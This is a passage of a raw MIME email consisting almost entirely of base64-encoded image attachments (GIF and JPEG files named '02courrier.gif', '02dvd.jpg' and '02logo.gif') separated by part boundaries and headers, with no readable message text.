Xv0k86BAn6bG5Ix85udz5vdvhdnR9bLM6hxuC2QHcfWtygUCMUAjgesT71bJr7D/AFZ7jyXahJ2t lBlGpggvr3i7fAKTFw4lggT1UUec85rF7VjXpQnqJj9Fukh8Rv5aGbmKV7MhbgdOuYfIHe56KwIP ZoRFGLAaDoqOanmfEG+Ri7e0TixuflUIkRo4xwUTgLr3g1Bs/Ijx0v0gl5H+AeeiMSO8zC0k76u3 j5B3h7iIQyiMJdXvx0OnmrU68vclhxybdYx6K3NyalhYldQ1xx79EISd3EnvVJ4PhqObfcspG22n SFX/ACyEnXpXPpNWGgHD3XUIdsSDdPLyKoqObZsxYf0kR5f+Vu+eT3jrMyePHTkMjBb+C/GiqTSZ BH9JDbyvtFexwZn5izKno3V7Ps1QPpSk+hasuBBrw6TmpcLI7LR8eYDcVWS4sd1wfFUeNF2bjwQx ALHHZ1AA5ONdLAhI7zsPjr2vZot9GX40q02HPF31Kv8ACtAfmTAx5JlK+fUeehLjyLLE3B0IYeUd 3U+TWpIY2KMbMG8Gh4UEZt5F+l3Jo4wusjNuOp1plBszq1vDxoPPfZYg7iPRUv1axlZzs3hdvJYi 1S46QqerbbuYnXxCop2ADSLdgOF+HuViiG6WQ7UUcpNDDGsaENmyf1JOIj8A5a7w4e8HNiy3hySA Cj3ePQBeiPk8OSj1SRZKjgY3APkfbXT7OnI51XeP9l6tJhzqe/G/xU7x4Ec/WW3dfCSwt81tCKs/ ZK37zMB51p4B2XAqOCpZ4zKQDzbtK6MEjeBGPwVaPByG8ET/ABUNvZ0qg8rgJ++RW7JaHFQC5LNv IHgQH01K2NlNlmZrSNYqgKaWVD3eQUhubHok/W0pmeQuW+Dw9yYdUHkMhIY24c3ConOgL6/tafDR g6tiytsYmwHG1T95DWPkFT1lle5Ol6fIkZ90huVUgDhbmpYIr9Wmi3Nzqb+4LHko9oMt5pj1WEp5 PnSeKlhQ+r6zHizHUk+H3rH/ADm9Y8mQRLKFuiseG88lYvZz73y825iSNd1lHFnPIKxzl77ZUqwR bF3dNuF6mzsoEwQAF9o3GxIXQeOoYZY5cRsm35dsmExpJfhsc6a1LnZK+wgAL7FBOpC6Dx1aHEyY EKCRZZ4TGjKeG1uXjUYy3YzTm0OPEpeVz9FFpMGaOfBy5f5UeVGYt/1TqD3NO7/1eX+BL92tOzco W54ZB/DQnOLlAaHZ1MnNqOFfoMn8F/u1M0vZOZKxe6WglItb6tq3r2XlgBtwHUSc9/m0Zn7OnaR+ kbxycfBapVGFkElGAAifm+rS/wD5uYQpFh1EvJ+zWuDlsSL9DHlb0LRYYOUgBtZ4ZFPkK1+jn/Cf 4q/Rz/hv92v0c/4T/dqLCaGSISHpsylbKOJ1rdHpFCOpxxyWHrN4641xrX3ifBm9WVei3zXGqsPA al7R7bIftHYuNBqG2QRiwIK31auzRhRiQ42XHNLdlWyLxPSIvWbhYidZkTIBGhIW5DK3FrDgK7P7 KzcSPs7BwjE0s5lWWVzENtoxHot++ay8LDTrMiVVEakhb2ZTxYgcBW3I7OlxGEKo0z5YyFZltosY Y7eesTt/slY8nIxkMUmJKQoZDfVHOinpVhNn4adl4OBKJ/5qTSyOLdFTHoo9wBz+/Gsr1v5LcfW/ ZpPBXLXLXLXLXL/ohxr/2Q== ----=_Part1_298ded8102fc3eb2cbb37c22f4b66425 Content-Type: image/gif; name="02courrier.gif" Content-Transfer-Encoding: base64 Content-ID: R0lGODlhPAA2APcAAPz8/PX29UyRu9ius8rP0dfi2KusrPnq5jg4OO3u7sTGyPHx8cyMmyAiIrm5 ucXJy+Tl5dbV1sW7xtjY2L3CxNPc2//y/OfZ49zh4sXGxrW6vKOjo+7w+pGRkW2wy9fRxoODg9HS 0ujp6ZqbnOby7sJ3a1hYWLm9wN3d3b2+vqSxqNrU3cPSxenj0nl6enNzdMfIyP389vn9/9vI19mG d+Hh4arL8aq5sc3S1Pb489zW08/Q0ba2trGxsf/5/uHr7Pnp9ubp5ePd3s3NztPX2Pr6+s7A1cvY 4fDi5fX1929vb7vJutXJyv74+cPKxktMTL/AwI+rkeru7efY9bS2uP//9uTX2tHV1ubm52JiYvf4 997q4v/18drd3ubKwurXzrhMSfL19YuMjfHy9dXRt//8//f//vDZ1vLj17mEjNna3dPb09Lc4Pr6 /YmalLW+u9HT1WuawPf5+d7f33q51bCnqtLb6s6glMnEzeHm57a4uLq6vsvQ07NMOoWowenr7YmW irGyteLj5dHU0t7a18HGyPr9+//17cjMz3CHdNfm4dXg6mhpacrLy/787vv//+vf35S71fX6/ujk 8c7W1Fp7XMna2v39/fTw8ens6vD/+OPM0OXi4MvHx7G1tqWmptnQ1e/v78PDxeLU2N7W6fT09M7K ysHEw9XYzpSVlYWCimV5c/////7+/v/+//7///z+/drb2+Lj4vLz8/j7+tTT1J6foKapqbO0s/7+ /+zs7OjW3LnWui0tLrxmVf7/+zmazaw1HcpEHkBCQevq6t3X293e2Ofn5O/b1PDo4sLY1raxvc7Q 38jd1MB9eru8u4y24MnN6tLN4Pa7t7bS383OyZaXmMzLx76ysoCMiIaHhtjo5nZ3d3h4eJKMmObR z5XI2cnU0Nj06EmY0WFwa1em3tXX5NLW766vr93c6rHLwrbPy6LApK3Ft6/ar5FaU/fz9KpWbcfg 3fn5+fr3+Pz5/N7p6H5/f92ZjvD57///4/L//6u0w7KvzvHOypGo0iH5BAAAAAAALAAAAAA8ADYA AAj/AFkJHEiwIKtWCAcCAHAJoUODECNKnEixFcFWDSlq3MixFQAtFzNyHDkyocB5C4hpATDQJMmX E00CWAAhlohQWixahMkzosh5xGINmQBhAcueSA2+WipDiho+BHaowZAnDCtXPly5qlfPFaujRVhd Cis2qdKlYfJcIcBnBw4iGKTMq9fEVRmtZRQqXHjJbMGltP5MIEAAxw5EBODqanJX61aLR0P6Jbh0 QReofAxDxXGlBjwfdbVmDCBwp8DIk19pgQCnMA4+Q17jwBFBCCghdwF49XjpKMOvkwcaShCLMBwc BBpBpcSnUac6nei50m16HgCPX+cFFxiqRgjCrwnz/0GE44GoTthM1b3kqm+AGil69HDgAFeI7ayw xNpBWPzxB4hQAEUxxaBw1129ycJDKtp0c4+DjfSU0VKP0DJLF0RgNhsBDyjwABRUZCBCBhmEdckl sfTQAQj3iAHCCy90sENPO1EYRiZEzKYjIoUUQgEFe0ChRhKNQPBVDTyIwU0W3IDAiAn3fILOjEkB JgUGfGQJFY8UPODjHgpgkQQMz0CQQQdKmJBFN9oo8UQWG8AAA5VILRVAHkQQhggiXv4IhQaBPANH AglAYUAqS5rACAguuKBEFvc0koAsMEho0SuGSNGFnn3+SMEJnlARAhYQiGLNk8M84YI22qxozT0d zP/CygRDWMoKLLPIEkIjD3jp4wnAeqKBAhMoMEIWTyCAQBZibNAIFiHIN8InAkVwH086BYDFIB16 +ukJGoSrhwEjMIJAA71AusEzE5RCTCPo8NCDAbO0gkKtSM3UxQOnKPAjuOGGa0AHWQzTSy9PiNHB CI2UosUsczhgiwEG9ADAHOhcC5M+PnzRCT9LiGJEClA8Y7K8uExAxASxxCLLLS4YgMUCCSQxRi17 bDDCBj00kooYtVwnVl/YUeRILiXcccQbb2Cjhx644CJvvAvAAgummTwxTCk2l9JdBKJsYMAnj95z SwQ7mWSaRD7kEwwNZixSABkp6NEDOgZsIKUssND/EgAsciCQCisJLFCKLhOEgMsnSSrbgSi1DHTi SGVw4Qs+WCxiTwtzRDAEDPGh4wAKsGghwgK6mCBLACIEsMACc0zAgwHP3JOFLWDji5FIGplhASJz JKOIEBfEEkEEE1g7gSxzBDBL63OkMsssC8xCDBYZOACFA890gA4EtfQQy0EXbWQGEB6AA8kWSExh bS3HT1ADBBPQLMIsg0Axi9ehhBJCmxsQRQpSMAQo/GxGJ0LI5DTyCEwIgA7JIAYSpBGBWsAvAijA AhZgkIkEiCABIRiC8wynBVyYYBggQEcPRDGCVHQAaB8JgAwDsBKNlEET0LBBEKwghAok73gRqAEx /0akCyzIIgixyIAWdBGKBRxDG8nqBgIYYQtuiAILcdIC6nTBxQWAxGg+GMAXJoGBAqBiApsYRQSs QAJxIIEKgoBADUSwg0YkQQ6ZCEAsuNGAJwxBGw1QQgDmEIsOZAACFYyfxiZSBR/0gQYc2AIbmEAJ NQ4CEiTYxi56MAdBzAELQ3hAGLAQAFrIQgkNAAEKIvCCXlgjBbjoQAom0AgSZQAGGVhbRH5RD2HQ gARbOMcmLFEMOFRABH9QxApuEQtCCkJOYViAHCDwMm2cggiNMICylLCBDjggAymgzzO4p0uItKIM +JhGEApgjlFU4Hj2+EEe8GSLCahBDXMQBQzCMP+LMIigBrKYwA4GMQSJvcAEI6AdfcTJAx6U0yCP aEIkqIEENXzgChMAxQUyKQgRrGMEF+wCFGCQhMLpwmWxeMYQUgCDDbh0hc9o6EIb2heKmKEJwKDD AVZABkuAYhRIkIIidrGJG4wADiGAwwT2QNIwJKAGc/BOyYbQAxMo4Rnba6hWecA91ETEDDGIQySS EQEdqGEQnEDCMQowAAb0wBohHEIt9KCAWYQiARAIwhxCkIGKZYERn8jA9kTHPazesqYTAas0SNEC VJACFGvIBBI4YYw0xEMC1qhjI0JABQWMIRO6yETsBsGDEVgVpvN5RgqecctGVPChBdGEBcBAA0X/ TMALzdgGEKZggzj0AxJLAIQC8IAHFtxAFBb4g3IF0YUIBOIeIOBBBrAqCn3KlWUokEUCSEMR2T5S EYMYxQcUcYBN+MEPduhCO4RrBAk4QQUdAMIYBIEC+irAFvfogZxGuoMdTGACKJgfFogxC+1QpA1N wMcAMEAJZqChCnd4BzbYQAAh7KEDEsjwFd7wBFUQilRdoMItIPe+Zs4BAiIgRuFmEYAiwJYgZahC NKKxBmXYgQPpSIMz/KGDa1hBAt6QwDIksINnNKABzVKAKAwQiBB0IRYBTjExmChDLRThNxvJRT7G 4QdUyGMM0IgDIpDxgSWwoALLUIUo9iAVKmjN/wUbQMcnUjBHCEAAC0xMQIEXwhDTvHggrtBEOfzQ Ah2cIQ7/WEQ1TMEHJ8xhGWK4gQqckIdAvAAQgRgXFHQx3z9Mr8p98epB/iwQLuzDDkNAg4KpMQVE oIIJM7ACIaCQiEREIQpE2MMI3qAHW8CgDQsIBQASwOea9uYiLpnIISRBgzt8AwwMaMEMWMCLcKxA DSRQRyUq4Q52IEIUt1DBBtTQBjlooQ0AyIVAMnJsZHOkHlwAQwm8gI0CfAPAGRSBw2CwilW44QYV eIM1ekBDoR0EsalpgjPucID1WeEm223xPEJADnJk4xYEUAAUZGEdxGIEPzL4xRnQEAN4kKAN2nqJ TCuwQAGmFaKCEPBKQZLtF1eYwRCa+IUrJPGIdROkCEspwlgwwZiZ09wsZaiHGcxwiTI4nSULKQsr EIQXu4z6IfhhRROaYAZXNCEHPijDdXSpFXpcwuztOZHaSc2TKjThEWX4hSacTj6C6MYxAsGUQ/bO 9qz7nSIBAQA7 ----=_Part1_298ded8102fc3eb2cbb37c22f4b66425 Content-Type: image/jpeg; name="02dvd.jpg" Content-Transfer-Encoding: base64 Content-ID: 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 ----=_Part1_298ded8102fc3eb2cbb37c22f4b66425 Content-Type: image/gif; name="02logo.gif" Content-Transfer-Encoding: base64 Content-ID: R0lGODlh5gBaALMAAGFhYfLyzZKSktDQ0NDQRevrrbOzs+Xll9jYY////8zMMzMzM/n55u7u7vz8 8t7eeiH5BAAAAAAALAAAAADmAFoAAAT/UMlJq704p827/2AojmRpnmiqrmfmvvDEznRt33juxXwv 68CgcEgE+Y6wonLJbI6QUIxzSq3qoliKdcvtkrJgr3jMBWfJ6PTSjFW73zl2FE6vq+RQu34fwiP5 gIB+R4GFdoM+hopviD2Lj2iNPJCUXpIxlZlWl0krAwICBpomDaAGDZWcLysCC64LAKijIQavrgOU qi4qtbYLArMgDb6wubpSKQDEC8Efvb64j8fIKMrEgQPZKa3E0YvTFyrctgCA47EnA8uy3+AVKsO+ onvPrsAn1q/30u5aKgPWAMzbM85VuROl9KXq92NFA3Z8Chb7p4lhw2YfJB7EWMKiBIfc/wB48/Ap n0B2DQwACHjyhAEBJluCkAhrpc2bAASwUwlr34eUMF/lHAiCp8gQAO2NeBnzVAePClj5gpgg6bJf Ka+6Ilo03zKfHGhqVZig3oKRYccKLDr1py+wG3hq1bkB6opuHcyOHQt3QwOvWtF1ELuXWQLAYP8W hkUVsTNfG9MWPmpXBd64izPDVZz57ODOtjY45hAvs2DRbzNe+9x5QOUUl0uDHssV8GR2hPeitrWP c+fIo1mHlvwbCoICAZIXQJDHMrQNuWcLzSv9F/HO84JHn8sh+HVXHNRJP0IgwAYGARhsCECAkHNb 0ZYNzS0wKLGBV+fbdiVLI6j/AILizf9ospETin3EyOIddKsdJl8oWvlQXgLsTTBhhY689wou4pHD Toe2EEXTPXotwBWIZGlUTWoJiMVVidmxKNwrG6CoVItXCeCDeQ9c8ACFiWh4S1kJeqAXWoAdZJso B7RHwAEO2HiQiviwaBsuyylwHJGQ7UbWjODhyCJhwPSAAJAYmMfcJEJ6RmUHNqJFZZIJHFDBmTSh 8uYH2nTHIjHA2EnBAQ764uWNYBpGp5iA1sUDoWtecKagmLSJy54cXPbdQYA6cEEAcTJqEAgdHlWo QgWayMAFDOh1qHUe0PQqMDYi2oN5qwSQIWzPYbqBpgyS8ys0ulpwQKqXdulBgUqmFmf/sRWAutqC oobZqFg+3ZpArruigJevCQBbLafyQEtBAeH2qiyc0zrbjbkTSGvoqYh+p2hqeoGlLbds8grfuCCI S2Wj7VWg3rfrhtcub8Py5kDBFka58Jf2vlqObyZ+0AOhPWLwI6Wd+LshwB8IrOyVGEqAbrr/yhrr xDfa1kABFaBro8WqCVttxoqtpTEPBKD5aQIQh+ytujp7YLLOJQ7AwAEIHGBewyPn20GqzTK8cywB PIDAA1PfvDNRUmImrhEbJ1BA0QoQgC7IRp+AcNIdLD1dAqnagxbLI+ct0gAl3jNarSZSJXbg2biY 6Vd7P+UDugw84OQD6tEcpMhDgmv3/6jBckf1kPQuFk1w+4VYY4PS7dTZPkhA6YEDcFeKuZsJL/4v mBthvMw8lxGen59a410Yhw2W6Dnwi90DBQEPHFDAAZI3N3uydNs+Mu7sqvW5Z50Xxo53xisk9quB UZX379t6dBfSdyv9HPbZow/sdqDPaiRfVTWId+keksq/zq9ZkS1QgaK+ACZn7SNN6QQ3r0T1jzqm I0npRDE+v0TnND+hn/LU9498DOQZGAxPPvYGrqpoRBZW4d6yEGQQrhCnL3EZnP7CQxNTkSAh+ZFF AFPQp6sNgCp8ahzJRNCAbOyth0Q0YgmKCERSKfF0DRRGNpq4RCNa0XEWUUOeNFHBKv/sUAxWy0QX qfBFL/jNAD+ExBinUEYv/A+Ge1ijE9rYBd9tZRFybAIduxA+WBkij0zYYxdyA0c7MKsLguTjVVwI 